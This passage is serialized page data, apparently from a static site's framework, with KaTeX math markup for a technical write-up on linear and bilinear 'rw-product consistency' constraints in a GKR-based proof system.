ren":121743},{"className":121742,"style":121385},[7157],[121744],{"type":24,"tag":930,"props":121745,"children":121746},{},[],{"type":24,"tag":33,"props":121748,"children":121749},{},[121750,121752,121757],{"type":30,"value":121751},"This check is linear in ",{"type":24,"tag":156,"props":121753,"children":121755},{"className":121754},[],[121756],{"type":30,"value":121489},{"type":30,"value":436},{"type":24,"tag":478,"props":121759,"children":121760},{"start":984},[121761],{"type":24,"tag":100,"props":121762,"children":121763},{},[121764,121769,121771,121776],{"type":24,"tag":275,"props":121765,"children":121766},{},[121767],{"type":30,"value":121768},"rw-product consistency",{"type":30,"value":121770}," (bilinear in ",{"type":24,"tag":156,"props":121772,"children":121774},{"className":121773},[],[121775],{"type":30,"value":121489},{"type":30,"value":27037},{"type":24,"tag":33,"props":121778,"children":121779},{},[121780],{"type":24,"tag":156,"props":121781,"children":121783},{"className":121782},[7098,7099],[121784],{"type":24,"tag":930,"props":121785,"children":121787},{"className":121786},[7104],[121788],{"type":24,"tag":930,"props":121789,"children":121791},{"className":121790,"ariaHidden":7110},[7109],[121792,121963,122134],{"type":24,"tag":930,"props":121793,"children":121795},{"className":121794},[7115],[121796,121800,121857,121861,121870,121875,121884,121889,121950,121954,121959],{"type":24,"tag":930,"props":121797,"children":121799},{"className":121798,"style":96054},[7120],[],{"type":24,"tag":930,"props":121801,"children":121803},{"className":121802},[24725],[121804,121809],{"type":24,"tag":930,"props":121805,"children":121807},{"className":121806,"style":24732},[24725,24730,24731],[121808],{"type":30,"value":121073},{"type":24,"tag":930,"props":121810,"children":121812},{"className":121811},[7142],[121813],{"type":24,"tag":930,"props":121814,"children":121816},{"className":121815},[7147,24743],[121817,121846],{"type":24,"tag":930,"props":121818,"children":121820},{"className":121819},[7152],[121821,121841],{"type":24,"tag":930,"props":121822,"children":121824},{"className":121823,"style":116682},[7157],[121825],{"type":24,"tag":930,"props":121826,"children":121827},{"style":24756},[121828,121832],{"type":24,"tag":930,"props":121829,"children":121831},{"className":121830,"style":7167},[7166],[],{"type":24,"tag":930,"props":121833,"children":121835},{"className":121834},[7172,7173,7174,7175],[121836],{"type":24,"tag":930,"props":121837,"children":121839},{"className":121838},[7126,24690,7175],[121840],{"type":30,"value":6854},{"type":24,"tag":930,"props":121842,"children":121844},{"className":121843},[24846],[121845],{"type":30,"value":24849},{"type":24,"tag":930,"props":121847,"children":121849},{"className":121848},[7152],[121850],{"type":24,"tag":930,"props":121851,"children":121853},{"className":121852,"style":116962},[7157],[121854],{"type":24,"tag":930,"props":121855,"children":121856},{},[],{"type":24,"tag":930,"props":121858,"children":121860},{"className":121859,"style":7245},[7206],[],{"type":24,"tag":930,"props":121862,"children":121864},{"className":121863},[7126,30],[121865],{"type":24,"tag":930,"props":121866,"children":121868},{"className":121867},[7126],[121869],{"type":30,"value":96931},{"type":24,"tag":930,"props":121871,"children":121873},{"className":121872,"style":96112},[7126],[121874],{"type":30,"value":6204},{"type":24,"tag":930,"props":121876,"children":121878},{"className":121877},[7126,30],[121879],{"type":24,"tag":930,"props":121880,"children":121882},{"className":121881},[7126],[121883],{"type":30,"value":121149},{"type":24,"tag":930,"props":121885,"children":121887},{"className":121886,"style":96112},[7126],[121888],{"type":30,"value":6204},{"type":24,"tag":930,"props":121890,"children":121892},{"className":121891},[7126],[121893,121902],{"type":24,"tag":930,"props":121894,"children":121896},{"className":121895},[7126,30],[121897],{"type":24,"tag":930,"props":121898,"children":121900},{"className":121899},[7126],[121901],{"type":30,"value":121168},{"type":24,"tag":930,"props":121903,"children":121905},{"className":121904},[7142],[121906],{"type":24,"tag":930,"props":121907,"children":121909},{"className":121908},[7147,24743],[121910,121939],{"type":24,"tag":930,"props":121911,"children":121913},{"className":121912},[7152],[121914,121934],{"type":24,"tag":930,"props":121915,"children":121917},{"className":121916,"style":96641},[7157],[121918],{"type":24,"tag":930,"props":121919,"children":121920},{"style":116605},[121921,121925],{"type":24,"tag":930,"props":121922,"children":121924},{"className":121923,"style":7167},[7166],[],{"type":24,"tag":930,"props":121926,"children":121928},{"className":121927},[7172,7173,7174,7175],[121929],{"type":24,"tag":930,"props":121930,"children":121932},{"className":121931},[7126,24690,7175],[121933],{"type":30,"value":6854},{"type":24,"tag":930,"props":121935,"children":121937},{"className":121936},[24846],[121938],{"type":30,"value":24849},{"type":24,"tag":930,"props":121940,"children":121942},{"className":121941},[7152],[121943],{"type":24,"tag":930,"props":121944,"children":121946},{"className":121945,"style":96195},[7157],[121947],{"type":24,"tag":930,"props":121948,"children":121949},{},[],{"type":24,"tag":930,"props":121951,"children":121953},{"className":121952,"style":7304},[7206],[],{"type":24,"tag":930,"props":121955,"children":121957},{"className":121956},[7309],[121958],{"type":30,"value":1161},{"type":24,"tag":930,"props":121960,"children":121962},{"className":121961,"style":7304},[7206],[],{"type":24,"tag":930,"props":121964,"children":121966},{"className":121965},[7115],[121967,121971,122028,122032,122041,122046,122055,122060,122121,122125,122130],{"type":24,"tag":930,"props":121968,"children":121970},{"className":121969,"style":121237},[7120],[],{"type":24,"tag":930,"props":121972,"children":121974},{"className":121973},[24725],[121975,121980],{"type":24,"tag":930,"props":121976,"children":121978},{"className":121977,"style":24732},[24725,24730,24731],[121979],{"type":30,"value":121073},{"type":24,"tag":930,"props":121981,"children":121983},{"className":121982},[7142],[121984],{"type":24,"tag":930,"props":121985,"children":121987},{"className":121986},[7147,24743],[121988,122017],{"type":24,"tag":930,"props":121989,"children":121991},{"className":121990},[7152],[121992,122012],{"type":24,"tag":930,"props":121993,"children":121995},{"className":121994,"style":116682},[7157],[121996],{"type":24,"tag":930,"props":121997,"children":121998},{"style":24756},[121999,122003],{"type":24,"tag":930,"props":122000,"children":122002},{"className":122001,"style":7167},[7166],[],{"type":24,"tag":930,"props":122004,"children":122006},{"className":122005},[7172,7173,7174,7175],[122007],{"type":24,"tag":930,"props":122008,"children":122010},{"className":122009,"style":116698},[7126,24690,7175],[122011],{"type":30,"value":11765},{"type":24,"tag":930,"props":122013,"children":122015},{"className":122014},[24846],[122016],{"type":30,"value":24849},{"type":24,"tag":930,"props":122018,"children":122020},{"className":122019},[7152],[122021],{"type":24,"tag":930,"props":122022,"children":122024},{"className":122023,"style":116713},[7157],[122025],{"type":24,"tag":930,"props":122026,"children":122027},{},[],{"type":24,"tag":930,"props":122029,"children":122031},{"className":122030,"style":7245},[7206],[],{"type":24,"tag":930,"props":122033,"children":122035},{"className":122034},[7126,30],[122036],{"type":24,"tag":930,"props":122037,"children":122039},{"className":122038},[7126],[122040],{"type":30,"value":52661},{"type":24,"tag":930,"props":122042,"children":122044},{"className":122043,"style":96112},[7126],[122045],{"type":30,"value":6204},{"type":24,"tag":930,"props":122047,"children":122049},{"className":122048},[7126,30],[122050],{"type":24,"tag":930,"props":122051,"children":122053},{"className":122052},[7126],[122054],{"type":30,"value":121149},{"type":24,"tag":930,"props":122056,"children":122058},{"className":122057,"style":96112},[7126],[122059],{"type":30,"value":6204},{"type":24,"tag":930,"props":122061,"children":122063},{"className":122062},[7126],[122064,122073],{"type":24,"tag":930,"props":122065,"children":122067},{"className":122066},[7126,30],[122068],{"type":24,"tag":930,"props":122069,"children":122071},{"className":122070},[7126],[122072],{"type":30,"value":121168},{"type":24,"tag":930,"props":122074,"children":122076},{"className":122075},[7142],[122077],{"type":24,"tag":930,"props":122078,"children":122080},{"className":122079},[7147,24743],[122081,122110],{"type":24,"tag":930,"props":122082,"children":122084},{"className":122083},[7152],[122085,122105],{"type":24,"tag":930,"props":122086,"children":122088},{"className":122087,"style":96641},[7157],[122089],{"type":24,"tag":930,"props":122090,"children":122091},{"style":116605},[122092,122096],{"type":24,"tag":930,"props":122093,"children":122095},{"className":122094,"style":7167},[7166],[],{"type":24,"tag":930,"props":122097,"children":122099},{"className":122098},[7172,7173,7174,7175],[122100],{"type":24,"tag":930,"props":122101,"children":122103},{"className":122102,"style":116698},[7126,24690,7175],[122104],{"type":30,"value":11765},{"type":24,"tag":930,"props":122106,"children":122108},{"className":122107},[24846],[122109],{"type":30,"value":24849},{"type":24,"tag":930,"props":122111,"children":122113},{"className":122112},[7152],[122114],{"type":24,"tag":930,"props":122115,"children":122117},{"className":122116,"style":121385},[7157],[122118],{"type":24,"tag":930,"props":122119,"children":122120},{},[],{"type":24,"tag":930,"props":122122,"children":122124},{"className":122123,"style":7207},[7206],[],{"type":24,"tag":930,"props":122126,"children":122128},{"className":122127},[7212],[122129],{"type":30,"value":113737},{"type":24,"tag":930,"props":122131,"children":122133},{"className":122132,"style":7207},[7206],[],{"type":24,"tag":930,"props":122135,"children":122137},{"className":122136},[7115],[122138,122142,122147,122156],{"type":24,"tag":930,"props":122139,"children":122141},{"className":122140,"style":7227},[7120],[],{"type":24,"tag":930,"props":122143,"children":122145},{"className":122144},[24818],[122146],{"type":30,"value":1010},{"type":24,"tag":930,"props":122148,"children":122150},{"className":122149},[7126,30],[122151],{"type":24,"tag":930,"props":122152,"children":122154},{"className":122153},[7126],[122155],{"type":30,"value":121425},{"type":24,"tag":930,"props":122157,"children":122159},{"className":122158},[24840],[122160],{"type":30,"value":6249},{"type":24,"tag":33,"props":122162,"children":122163},{},[122164,122166,122335,122336,122505],{"type":30,"value":122165},"If we vary ",{"type":24,"tag":156,"props":122167,"children":122169},{"className":122168},[7098,7099],[122170],{"type":24,"tag":930,"props":122171,"children":122173},{"className":122172},[7104],[122174],{"type":24,"tag":930,"props":122175,"children":122177},{"className":122176,"ariaHidden":7110},[7109],[122178,122256],{"type":24,"tag":930,"props":122179,"children":122181},{"className":122180},[7115],[122182,122186,122243,122247,122252],{"type":24,"tag":930,"props":122183,"children":122185},{"className":122184,"style":112445},[7120],[],{"type":24,"tag":930,"props":122187,"children":122189},{"className":122188},[7126],[122190,122195],{"type":24,"tag":930,"props":122191,"children":122193},{"className":122192},[7126,24690],[122194],{"type":30,"value":22378},{"type":24,"tag":930,"props":122196,"children":122198},{"className":122197},[7142],[122199],{"type":24,"tag":930,"props":122200,"children":122202},{"className":122201},[7147,24743],[122203,122232],{"type":24,"tag":930,"props":122204,"children":122206},{"className":122205},[7152],[122207,122227],{"type":24,"tag":930,"props":122208,"children":122210},{"className":122209,"style":96164},[7157],[122211],{"type":24,"tag":930,"props":122212,"children":122213},{"style":96168},[122214,122218],{"type":24,"tag":930,"props":122215,"children":122217},{"className":122216,"style":7167},[7166],[],{"type":24,"tag":930,"props":122219,"children":122221},{"className":122220},[7172,7173,7174,7175],[122222],{"type":24,"tag":930,"props":122223,"children":122225},{"className":122224},[7126,7175],[122226],{"type":30,"value":1818},{"type":24,"tag":930,"props":122228,"children":122230},{"className":122229},[24846],[122231],{"type":30,"value":24849},{"type":24,"tag":930,"props":122233,"children":122235},{"className":122234},[7152],[122236],{"type":24,"tag":930,"props":122237,"children":122239},{"className":122238,"style":96195},[7157],[122240],{"type":24,"tag":930,"props":122241,"children":122242},{},[],{"type":24,"tag":930,"props":122244,"children":122246},{"className":122245,"style":7304},[7206],[],{"type":24,"tag":930,"props":122248,"children":122250},{"className":122249},[7309],[122251],{"type":30,"value":1161},{"type":24,"tag":930,"props":122253,"children":122255},{"className":122254,"style":7304},[7206],[],{"type":24,"tag":930,"props":122257,"children":122259},{"className":122258},[7115],[122260,122264,122305,122310,122315,122320,122325,122330],{"type":24,"tag":930,"props":122261,"children":122263},{"className":122262,"style":96054},[7120],[],{"type":24,"tag":930,"props":122265,"children":122267},{"className":122266},[7126],[122268,122277,122282,122291,122296],{"type":24,"tag":930,"props":122269,"children":122271},{"className":122270},[7126,30],[122272],{"type":24,"tag":930,"props":122273,"children":122275},{"className":122274},[7126],[122276],{"type":30,"value":96931},{"type":24,"tag":930,"props":122278,"children":122280},{"className":122279,"style":96112},[7126],[122281],{"type":30,"value":6204},{"type":24,"tag":930,"props":122283,"children":122285},{"className":122284},[7126,30],[122286],{"type":24,"tag":930,"props":122287,"children":122289},{"className":122288},[7126],[122290],{"type":30,"value":121149},{"type":24,"tag":930,"props":122292,"children":122294},{"className":122293,"style":96112},[7126],[122295],{"type":30,"value":6204},{"type":24,"tag":930,"props":122297,"children":122299},{"className":122298},[7126,30],[122300],{"type":24,"tag":930,"props":122301,"children":122303},{"className":122302},[7126],[122304],{"type":30,"value":121168},{"type":24,"tag":930,"props":122306,"children":122308},{"className":122307},[24818],[122309],{"type":30,"value":6849},{"type":24,"tag":930,"props":122311,"children":122313},{"className":122312},[7126],[122314],{"type":30,"value":1818},{"type":24,"tag":930,"props":122316,"children":122318},{"className":122317},[24840],[122319],{"type":30,"value":18514},{"type":24,"tag":930,"props":122321,"children":122323},{"className":122322},[24818],[122324],{"type":30,"value":6849},{"type":24,"tag":930,"props":122326,"children":122328},{"className":122327},[7126],[122329],{"type":30,"value":1818},{"type":24,"tag":930,"props":122331,"children":122333},{"className":122332},[24840],[122334],{"type":30,"value":18514},{"type":30,"value":211},{"type":24,"tag":156,"props":122337,"children":122339},{"className":122338},[7098,7099],[122340],{"type":24,"tag":930,"props":122341,"children":122343},{"className":122342},[7104],[122344],{"type":24,"tag":930,"props":122345,"children":122347},{"className":122346,"ariaHidden":7110},[7109],[122348,122426],{"type":24,"tag":930,"props":122349,"children":122351},{"className":122350},[7115],[122352,122356,122413,122417,122422],{"type":24,"tag":930,"props":122353,"children":122355},{"className":122354,"style":112445},[7120],[],{"type":24,"tag":930,"props":122357,"children":122359},{"className":122358},[7126],[122360,122365],{"type":24,"tag":930,"props":122361,"children":122363},{"className":122362},[7126,24690],[122364],{"type":30,"value":22378},{"type":24,"tag":930,"props":122366,"children":122368},{"className":122367},[7142],[122369],{"type":24,"tag":930,"props":122370,"children":122372},{"className":122371},[7147,24743],[122373,122402],{"type":24,"tag":930,"props":122374,"children":122376},{"className":122375},[7152],[122377,122397],{"type":24,"tag":930,"props":122378,"children":122380},{"className":122379,"style":96164},[7157],[122381],{"type":24,"tag":930,"props":122382,"children":122383},{"style":96168},[122384,122388],{"type":24,"tag":930,"props":122385,"children":122387},{"className":122386,"style":7167},[7166],[],{"type":24,"tag":930,"props":122389,"children":122391},{"className":122390},[7172,7173,7174,7175],[122392],{"type":24,"tag":930,"props":122393,"children":122395},{"className":122394},[7126,7175],[122396],{"type":30,"value":7129},{"type":24,"tag":930,"props":122398,"children":122400},{"className":122399},[24846],[122401],{"type":30,"value":24849},{"type":24,"tag":930,"props":122403,"children":122405},{"className":122404},[7152],[122406],{"type":24,"tag":930,"props":122407,"children":122409},{"className":122408,"style":96195},[7157],[122410],{"type":24,"tag":930,"props":122411,"children":122412},{},[],{"type":24,"tag":930,"props":122414,"children":122416},{"className":122415,"style":7304},[7206],[],{"type":24,"tag":930,"props":122418,"children":122420},{"className":122419},[7309],[122421],{"type":30,"value":1161},{"type":24,"tag":930,"props":122423,"children":122425},{"className":122424,"style":7304},[7206],[],{"type":24,"tag":930,"props":122427,"children":122429},{"className":122428},[7115],[122430,122434,122475,122480,122485,122490,122495,122500],{"type":24,"tag":930,"props":122431,"children":122433},{"className":122432,"style":96054},[7120],[],{"type":24,"tag":930,"props":122435,"children":122437},{"className":122436},[7126],[122438,122447,122452,122461,122466],{"type":24,"tag":930,"props":122439,"children":122441},{"className":122440},[7126,30],[122442],{"type":24,"tag":930,"props":122443,"children":122445},{"className":122444},[7126],[122446],{"type":30,"value":96931},{"type":24,"tag":930,"props":122448,"children":122450},{"className":122449,"style":96112},[7126],[122451],{"type":30,"value":6204},{"type":24,"tag":930,"props":122453,"children":122455},{"className":122454},[7126,30],[122456],{"type":24,"tag":930,"props":122457,"children":122459},{"className":122458},[7126],[122460],{"type":30,"value":121149},{"type":24,"tag":930,"props":122462,"children":122464},{"className":122463,"style":96112},[7126],[122465],{"type":30,"value":6204},{"type":24,"tag":930,"props":122467,"children":122469},{"className":122468},[7126,30],[122470],{"type":24,"tag":930,"props":122471,"children":122473},{"className":122472},[7126],[122474],{"type":30,"value":121168},{"type":24,"tag":930,"props":122476,"children":122478},{"className":122477},[24818],[122479],{"type":30,"value":6849},{"type":24,"tag":930,"props":122481,"children":122483},{"className":122482},[7126],[122484],{"type":30,"value":1818},{"type":24,"tag":930,"props":122486,"children":122488},{"className":122487},[24840],[122489],{"type":30,"value":18514},{"type":24,"tag":930,"props":122491,"children":122493},{"className":122492},[24818],[122494],{"type":30,"value":6849},{"type":24,"tag":930,"props":122496,"children":122498},{"className":122497},[7126],[122499],{"type":30,"value":7129},{"type":24,"tag":930,"props":122501,"children":122503},{"className":122502},[24840],[122504],{"type":30,"value":18514},{"type":30,"value":122506}," we get the following constraint:",{"type":24,"tag":33,"props":122508,"children":122509},{},[122510],{"type":24,"tag":156,"props":122511,"children":122513},{"className":122512},[7098,7099],[122514],{"type":24,"tag":930,"props":122515,"children":122517},{"className":122516},[7104],[122518],{"type":24,"tag":930,"props":122519,"children":122521},{"className":122520,"ariaHidden":7110},[7109],[122522,122601,122679,122720],{"type":24,"tag":930,"props":122523,"children":122525},{"className":122524},[7115],[122526,122531,122588,122592,122597],{"type":24,"tag":930,"props":122527,"children":122530},{"className":122528,"style":122529},[7120],"height:0.5945em;vertical-align:-0.15em;",[],{"type":24,"tag":930,"props":122532,"children":122534},{"className":122533},[7126],[122535,122540],{"type":24,"tag":930,"props":122536,"children":122538},{"className":122537},[7126,24690],[122539],{"type":30,"value":22378},{"type":24,"tag":930,"props":122541,"children":122543},{"className":122542},[7142],[122544],{"type":24,"tag":930,"props":122545,"children":122547},{"className":122546},[7147,24743],[122548,122577],{"type":24,"tag":930,"props":122549,"children":122551},{"className":122550},[7152],[122552,122572],{"type":24,"tag":930,"props":122553,"children":122555},{"className":122554,"style":96164},[7157],[122556],{"type":24,"tag":930,"props":122557,"children":122558},{"style":96168},[122559,122563],{"type":24,"tag":930,"props":122560,"children":122562},{"className":122561,"style":7167},[7166],[],{"type":24,"tag":930,"props":122564,"children":122566},{"className":122565},[7172,7173,7174,7175],[122567],{"type":24,"tag":930,"props":122568,"children":122570},{"className":122569},[7126,7175],[122571],{"type":30,"value":1818},{"type":24,"tag":930,"props":122573,"children":122575},{"className":122574},[24846],[122576],{"type":30,"value":24849},{"type":24,"tag":930,"props":122578,"children":122580},{"className":122579},[7152],[122581],{"type":24,"tag":930,"props":122582,"children":122584},{"className":122583,"style":96195},[7157],[122585],{"type":24,"tag":930,"props":122586,"children":122587},{},[],{"type":24,"tag":930,"props":122589,"children":122591},{"className":122590,"style":7207},[7206],[],{"type":24,"tag":930,"props":122593,"children":122595},{"className":122594},[7212],[122596],{"type":30,"value":113737},{"type":24,"tag":930,"props":122598,"children":122600},{"className":122599,"style":7207},[7206],[],{"type":24,"tag":930,"props":122602,"children":122604},{"className":122603},[7115],[122605,122609,122666,122670,122675],{"type":24,"tag":930,"props":122606,"children":122608},{"className":122607,"style":122529},[7120],[],{"type":24,"tag":930,"props":122610,"children":122612},{"className":122611},[7126],[122613,122618],{"type":24,"tag":930,"props":122614,"children":122616},{"className":122615},[7126,24690],[122617],{"type":30,"value":22378},{"type":24,"tag":930,"props":122619,"children":122621},{"className":122620},[7142],[122622],{"type":24,"tag":930,"props":122623,"children":122625},{"className":122624},[7147,24743],[122626,122655],{"type":24,"tag":930,"props":122627,"children":122629},{"className":122628},[7152],[122630,122650],{"type":24,"tag":930,"props":122631,"children":122633},{"className":122632,"style":96164},[7157],[122634],{"type":24,"tag":930,"props":122635,"children":122636},{"style":96168},[122637,122641],{"type":24,"tag":930,"props":122638,"children":122640},{"className":122639,"style":7167},[7166],[],{"type":24,"tag":930,"props":122642,"children":122644},{"className":122643},[7172,7173,7174,7175],[122645],{"type":24,"tag":930,"props":122646,"children":122648},{"className":122647},[7126,7175],[122649],{"type":30,"value":7129},{"type":24,"tag":930,"props":122651,"children":122653},{"className":122652},[24846],[122654],{"type":30,"value":24849},{"type":24,"tag":930,"props":122656,"children":122658},{"className":122657},[7152],[122659],{"type":24,"tag":930,"props":122660,"children":122662},{"className":122661,"style":96195},[7157],[122663],{"type":24,"tag":930,"props":122664,"children":122665},{},[],{"type":24,"tag":930,"props":122667,"children":122669},{"className":122668,"style":7207},[7206],[],{"type":24,"tag":930,"props":122671,"children":122673},{"className":122672},[7212],[122674],{"type":30,"value":113737},{"type":24,"tag":930,"props":122676,"children":122678},{"className":122677,"style":7207},[7206],[],{"type":24,"tag":930,"props":122680,"children":122682},{"className":122681},[7115],[122683,122687,122692,122702,122707,122711,122716],{"type":24,"tag":930,"props":122684,"children":122686},{"className":122685,"style":7227},[7120],[],{"type":24,"tag":930,"props":122688,"children":122690},{"className":122689},[24818],[122691],{"type":30,"value":1010},{"type":24,"tag":930,"props":122693,"children":122695},{"className":122694},[7126,30],[122696],{"type":24,"tag":930,"props":122697,"children":122699},{"className":122698},[7126],[122700],{"type":30,"value":122701},"rest of product",{"type":24,"tag":930,"props":122703,"children":122705},{"className":122704},[24840],[122706],{"type":30,"value":6249},{"type":24,"tag":930,"props":122708,"children":122710},{"className":122709,"style":7304},[7206],[],{"type":24,"tag":930,"props":122712,"children":122714},{"className":122713},[7309],[122715],{"type":30,"value":1161},{"type":24,"tag":930,"props":122717,"children":122719},{"className":122718,"style":7304},[7206],[],{"type":24,"tag":930,"props":122721,"children":122723},{"className":122722},[7115],[122724,122728],{"type":24,"tag":930,"props":122725,"children":122727},{"className":122726,"style":117495},[7120],[],{"type":24,"tag":930,"props":122729,"children":122731},{"className":122730},[7126,30],[122732],{"type":24,"tag":930,"props":122733,"children":122735},{"className":122734},[7126],[122736],{"type":30,"value":117506},{"type":24,"tag":33,"props":122738,"children":122739},{},[122740,122742,122895],{"type":30,"value":122741},"This is bilinear in ",{"type":24,"tag":156,"props":122743,"children":122745},{"className":122744},[7098,7099],[122746],{"type":24,"tag":930,"props":122747,"children":122749},{"className":122748},[7104],[122750],{"type":24,"tag":930,"props":122751,"children":122753},{"className":122752,"ariaHidden":7110},[7109],[122754],{"type":24,"tag":930,"props":122755,"children":122757},{"className":122756},[7115],[122758,122762,122767,122824,122829,122833,122890],{"type":24,"tag":930,"props":122759,"children":122761},{"className":122760,"style":7227},[7120],[],{"type":24,"tag":930,"props":122763,"children":122765},{"className":122764},[24818],[122766],{"type":30,"value":1010},{"type":24,"tag":930,"props":122768,"children":122770},{"className":122769},[7126],[122771,122776],{"type":24,"tag":930,"props":122772,"children":122774},{"className":122773},[7126,24690],[122775],{"type":30,"value":22378},{"type":24,"tag":930,"props":122777,"children":122779},{"className":122778},[7142],[122780],{"type":24,"tag":930,"props":122781,"children":122783},{"className":122782},[7147,24743],[122784,122813],{"type":24,"tag":930,"props":122785,"children":122787},{"className":122786},[7152],[122788,122808],{"type":24,"tag":930,"props":122789,"children":122791},{"className":122790,"style":96164},[7157],[122792],{"type":24,"tag":930,"props":122793,"children":122794},{"style":96168},[122795,122799],{"type":24,"tag":930,"props":122796,"children":122798},{"className":122797,"style":7167},[7166],[],{"type":24,"tag":930,"props":122800,"children":122802},{"className":122801},[7172,7173,7174,7175],[122803],{"type":24,"tag":930,"props":122804,"children":122806},{"className":122805},[7126,7175],[122807],{"type":30,"value":1818},{"type":24,"tag":930,"props":122809,"children":122811},{"className":122810},[24846],[122812],{"type":30,"value":24849},{"type":24,"tag":930,"props":122814,"children":122816},{"className":122815},[7152],[122817],{"type":24,"tag":930,"props":122818,"children":122820},{"className":122819,"style":96195},[7157],[122821],{"type":24,"tag":930,"props":122822,"children":122823},{},[],{"type":24,"tag":930,"props":122825,"children":122827},{"className":122826},[7238],[122828],{"type":30,"value":7241},{"type":24,"tag":930,"props":122830,"children":122832},{"className":122831,"style":7245},[7206],[],{"type":24,"tag":930,"props":122834,"children":122836},{"className":122835},[7126],[122837,122842],{"type":24,"tag":930,"props":122838,"children":122840},{"className":122839},[7126,24690],[122841],{"type":30,"value":22378},{"type":24,"tag":930,"props":122843,"children":122845},{"className":122844},[7142],[122846],{"type":24,"tag":930,"props":122847,"children":122849},{"className":122848},[7147,24743],[122850,122879],{"type":24,"tag":930,"props":122851,"children":122853},{"className":122852},[7152],[122854,122874],{"type":24,"tag":930,"props":122855,"children":122857},{"className":122856,"style":96164},[7157],[122858],{"type":24,"tag":930,"props":122859,"children":122860},{"style":96168},[122861,122865],{"type":24,"tag":930,"props":122862,"children":122864},{"className":122863,"style":7167},[7166],[],{"type":24,"tag":930,"props":122866,"children":122868},{"className":122867},[7172,7173,7174,7175],[122869],{"type":24,"tag":930,"props":122870,"children":122872},{"className":122871},[7126,7175],[122873],{"type":30,"value":7129},{"type":24,"tag":930,"props":122875,"children":122877},{"className":122876},[24846],[122878],{"type":30,"value":24849},{"type":24,"tag":930,"props":122880,"children":122882},{"className":122881},[7152],[122883],{"type":24,"tag":930,"props":122884,"children":122886},{"className":122885,"style":96195},[7157],[122887],{"type":24,"tag":930,"props":122888,"children":122889},{},[],{"type":24,"tag":930,"props":122891,"children":122893},{"className":122892},[24840],[122894],{"type":30,"value":6249},{"type":30,"value":436},{"type":24,"tag":33,"props":122897,"children":122898},{},[122899,122901,123054],{"type":30,"value":122900},"We have two unknowns ",{"type":24,"tag":156,"props":122902,"children":122904},{"className":122903},[7098,7099],[122905],{"type":24,"tag":930,"props":122906,"children":122908},{"className":122907},[7104],[122909],{"type":24,"tag":930,"props":122910,"children":122912},{"className":122911,"ariaHidden":7110},[7109],[122913],{"type":24,"tag":930,"props":122914,"children":122916},{"className":122915},[7115],[122917,122921,122926,122983,122988,122992,123049],{"type":24,"tag":930,"props":122918,"children":122920},{"className":122919,"style":7227},[7120],[],{"type":24,"tag":930,"props":122922,"children":122924},{"className":122923},[24818],[122925],{"type":30,"value":1010},{"type":24,"tag":930,"props":122927,"children":122929},{"className":122928},[7126],[122930,122935],{"type":24,"tag":930,"props":122931,"children":122933},{"className":122932},[7126,24690],[122934],{"type":30,"value":22378},{"type":24,"tag":930,"props":122936,"children":122938},{"className":122937},[7142],[122939],{"type":24,"tag":930,"props":122940,"children":122942},{"className":122941},[7147,24743],[122943,122972],{"type":24,"tag":930,"props":122944,"children":122946},{"className":122945},[7152],[122947,122967],{"type":24,"tag":930,"props":122948,"children":122950},{"className":122949,"style":96164},[7157],[122951],{"type":24,"tag":930,"props":122952,"children":122953},{"style":96168},[122954,122958],{"type":24,"tag":930,"props":122955,"children":122957},{"className":122956,"style":7167},[7166],[],{"type":24,"tag":930,"props":122959,"children":122961},{"className":122960},[7172,7173,7174,7175],[122962],{"type":24,"tag":930,"props":122963,"children":122965},{"className":122964},[7126,7175],[122966],{"type":30,"value":1818},{"type":24,"tag":930,"props":122968,"children":122970},{"className":122969},[24846],[122971],{"type":30,"value":24849},{"type":24,"tag":930,"props":122973,"children":122975},{"className":122974},[7152],[122976],{"type":24,"tag":930,"props":122977,"children":122979},{"className":122978,"style":96195},[7157],[122980],{"type":24,"tag":930,"props":122981,"children":122982},{},[],{"type":24,"tag":930,"props":122984,"children":122986},{"className":122985},[7238],[122987],{"type":30,"value":7241},{"type":24,"tag":930,"props":122989,"children":122991},{"className":122990,"style":7245},[7206],[],{"type":24,"tag":930,"props":122993,"children":122995},{"className":122994},[7126],[122996,123001],{"type":24,"tag":930,"props":122997,"children":122999},{"className":122998},[7126,24690],[123000],{"type":30,"value":22378},{"type":24,"tag":930,"props":123002,"children":123004},{"className":123003},[7142],[123005],{"type":24,"tag":930,"props":123006,"children":123008},{"className":123007},[7147,24743],[123009,123038],{"type":24,"tag":930,"props":123010,"children":123012},{"className":123011},[7152],[123013,123033],{"type":24,"tag":930,"props":123014,"children":123016},{"className":123015,"style":96164},[7157],[123017],{"type":24,"tag":930,"props":123018,"children":123019},{"style":96168},[123020,123024],{"type":24,"tag":930,"props":123021,"children":123023},{"className":123022,"style":7167},[7166],[],{"type":24,"tag":930,"props":123025,"children":123027},{"className":123026},[7172,7173,7174,7175],[123028],{"type":24,"tag":930,"props":123029,"children":123031},{"className":123030},[7126,7175],[123032],{"type":30,"value":7129},{"type":24,"tag":930,"props":123034,"children":123036},{"className":123035},[24846],[123037],{"type":30,"value":24849},{"type":24,"tag":930,"props":123039,"children":123041},{"className":123040},[7152],[123042],{"type":24,"tag":930,"props":123043,"children":123045},{"className":123044,"style":96195},[7157],[123046],{"type":24,"tag":930,"props":123047,"children":123048},{},[],{"type":24,"tag":930,"props":123050,"children":123052},{"className":123051},[24840],[123053],{"type":30,"value":6249},{"type":30,"value":123055}," and two equations, one linear and one bilinear:",{"type":24,"tag":478,"props":123057,"children":123058},{},[123059,123386],{"type":24,"tag":100,"props":123060,"children":123061},{},[123062,123064],{"type":30,"value":123063},"Linear (from GKR): ",{"type":24,"tag":156,"props":123065,"children":123067},{"className":123066},[7098,7099],[123068],{"type":24,"tag":930,"props":123069,"children":123071},{"className":123070},[7104],[123072],{"type":24,"tag":930,"props":123073,"children":123075},{"className":123074,"ariaHidden":7110},[7109],[123076,123212,123347,123373],{"type":24,"tag":930,"props":123077,"children":123079},{"className":123078},[7115],[123080,123085,123142,123199,123203,123208],{"type":24,"tag":930,"props":123081,"children":123084},{"className":123082,"style":123083},[7120],"height:0.7333em;vertical-align:-0.15em;",[],{"type":24,"tag":930,"props":123086,"children":123088},{"className":123087},[7126],[123089,123094],{"type":24,"tag":930,"props":123090,"children":123092},{"className":123091},[7126,24690],[123093],{"type":30,"value":37},{"type":24,"tag":930,"props":123095,"children":123097},{"className":123096},[7142],[123098],{"type":24,"tag":930,"props":123099,"children":123101},{"className":123100},[7147,24743],[123102,123131],{"type":24,"tag":930,"props":123103,"children":123105},{"className":123104},[7152],[123106,123126],{"type":24,"tag":930,"props":123107,"children":123109},{"className":123108,"style":96164},[7157],[123110],{"type":24,"tag":930,"props":123111,"children":123112},{"style":96168},[123113,123117],{"type":24,"tag":930,"props":123114,"children":123116},{"className":123115,"style":7167},[7166],[],{"type":24,"tag":930,"props":123118,